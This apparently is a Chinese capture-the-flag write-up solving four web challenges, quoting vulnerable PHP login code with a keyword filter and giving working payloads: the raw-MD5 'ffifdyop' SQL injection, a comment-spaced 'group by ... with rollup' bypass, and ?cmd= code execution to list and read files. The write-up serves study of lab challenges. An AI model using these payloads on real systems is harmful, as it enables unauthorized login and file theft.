• 0X02


    web9

    阐释一波密码,依然没有什么 发现,要不扫一下,或者看一看可不可以去爆破密码

    就先扫了看看,发现robots.txt

     访问看看,出现不允许被访问的目录

     还是继续尝试访问看看

    就可以下载源码,看看源码

        $flag="";
        $password=$_POST['password'];
        if(strlen($password)>10){
            die("password error");
        }
        $sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                    while($row=mysqli_fetch_assoc($result)){
                         echo "登陆成功
    ";
                         echo $flag;
                     }
            }
    ?>

     

     先看sql的语句

    username ='admin' and password ='".md5($password,true)."'

    在php中.起到了连接的作用,

    MD5(string,raw)

    参数描述
    string必需;规定要计算的字符串。
    raw可选;TRUE - 原始 - 16 字符二进制格式;FALSE - 默认 - 32 字符十六进制数

     也就是说,我们最终要的这个东西 在md5加密后的16进制转化为二进制后 变成username ='admin' and password =‘ ’or 'xxxxx'的形式;逆过来,我们需要将' or 1=1按照加密规则加密,得到的就是我们最后要的东西,只要md5加密后的16进制转化为二进制时有 'or’xxxx

    这里使用ffifdyop

    ffifdyop 经过 md5 之后的值为: 276f722736c95d99e921722cf9ed621c ;
    276f722736c95d99e921722cf9ed621c 再转成字符串就变成 ’ ’ ‘or’ xxx 拼接到语句中

    密码ffifdyop登录


      web10

     依然是登录框

    admin

    1' or 1=1

     如果密码输入的是空格或者是逗号,也会出现以上的页面,也就是被过滤了

    接着上一题的思路,我们首先要看到源码,扫了之后也没有什么发现

     但是细心观察一下,就可以看出这一题登录框里面多了一个取消的按钮

    点了之后下载了源码

    1. $flag="";
    2. function replaceSpecialChar($strParam){
    3. $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
    4. return preg_replace($regex,"",$strParam);
    5. }
    6. if (!$con)
    7. {
    8. die('Could not connect: ' . mysqli_error());
    9. }
    10. if(strlen($username)!=strlen(replaceSpecialChar($username))){
    11. die("sql inject error");
    12. }
    13. if(strlen($password)!=strlen(replaceSpecialChar($password))){
    14. die("sql inject error");
    15. }
    16. $sql="select * from user where username = '$username'";
    17. $result=mysqli_query($con,$sql);
    18. if(mysqli_num_rows($result)>0){
    19. while($row=mysqli_fetch_assoc($result)){
    20. if($password==$row['password']){
    21. echo "登陆成功
      "
      ;
    22. echo $flag;
    23. }
    24. }
    25. }
    26. ?>

     regex那条语句显示的就是过滤以下字符select|from|where|join|sleep|and|\s|union|,

    if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); }过滤了双写绕过

    显然许多注入的方式都被限制了

    下面这个是以前从没有接触过的

    group by : 对进行查询的结果进行分组。group by后跟什么,就按什么分组
    with rollup: group by 后可以跟with rollup,可以在进行分组统计的基础上再次进行汇总统计。

    达到的结果就是通过加入 with rollup 使 sql 语句查询结果 password 有一行为是 null ,在不输入 password 情况下就能达到源码中的条件

    输入空的密码就可以得到null==null,

    1'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#

     /**/因为之前测试过过滤了空格,运用它可以进行过滤

     web11

    这题有点意外,源码直接显示在页面上

        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        if($password==$_SESSION['password']){
            echo $flag;
        }else{
            echo "error";
        }
    ?>

     同样也是过滤了许多的东西select|from|where|join|sleep|and|\s|union|,

    最后发现只要$password==$_SESSION['password']就可得到flag

    session

    是针对每个用户的,只有客户端才能访问,程序为该客户添加一个 session。session中主要保存用户的登录信息、操作信息等等。此 session将在用户访问结束后自动消失(如果也是超时)。会将信息保存在服务器端

    cookie

    是针对每个网站的信息,每个网站只能对应一个,其他网站无法访问,这个文件保存在客户端,每次您拨打相应网站,浏览器都会查找该网站的 cookies,如果有,则会将该文件发送出去。cookies文件的内容大致上包括了诸如用户名、密码、设置等信息。会将信息保存在客服端

    发现删除所有的session,在上面的细心观察之后,发现,我们打开环境的时候,就发现密码框里面是有东西的,也就是显示出来的条目全部删除,然后以空密码登录即可得到flag

    让session和密码为空,就可以达到条件

     web12

     看一下源码

     提示进行 get 传参 ?cmd=

    进行一下测试

    ?cmd=phpinfo();

     有页面回显,就证明在cmd处可以进行构造语句进行命令执行

    现在想着就是读取到文件,也可以说是源码

    用 system() 函数的命令:system(‘ls’) 来读取存在的文件名,但是这个命令没有回显,应该是被限制了,那就换一个

    使用 scandir() 函数来查看目录中的文件

    ?cmd=print_r(scandir(‘./’));

    下面这个也是可以的

    ?cmd=print_r(glob(“*”));

     

    1. glob("*") 匹配任意文件;
    2. glob("*.txt") 匹配以 txt 为后缀的文件。

     发现是一个很长的php文件

     使用高亮函数
    payload:/?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

     show_source函数是highlight_file()函数的别名

  • 相关阅读:
    禁用Win10自动更新
    斩波稳定(自稳零)精密运算放大器
    vue3使用Element ui plus中MessageBox消息框+radio框配合使用
    深度学习-线性代数
    centos安装mysql5.7
    监测难?误差大?北斗突破铁路监测预警难题,24小时全方位守护
    Maven 项目配置使用备忘录
    如何在 WSL 下实现 NGINX 反向代理
    [数据结构 -- C语言] 堆(Heap),你小子就是堆,看我如何透彻的将你拿捏
    C++ LibCurl 库的使用方法
  • 原文地址:https://blog.csdn.net/qq_75005708/article/details/134227598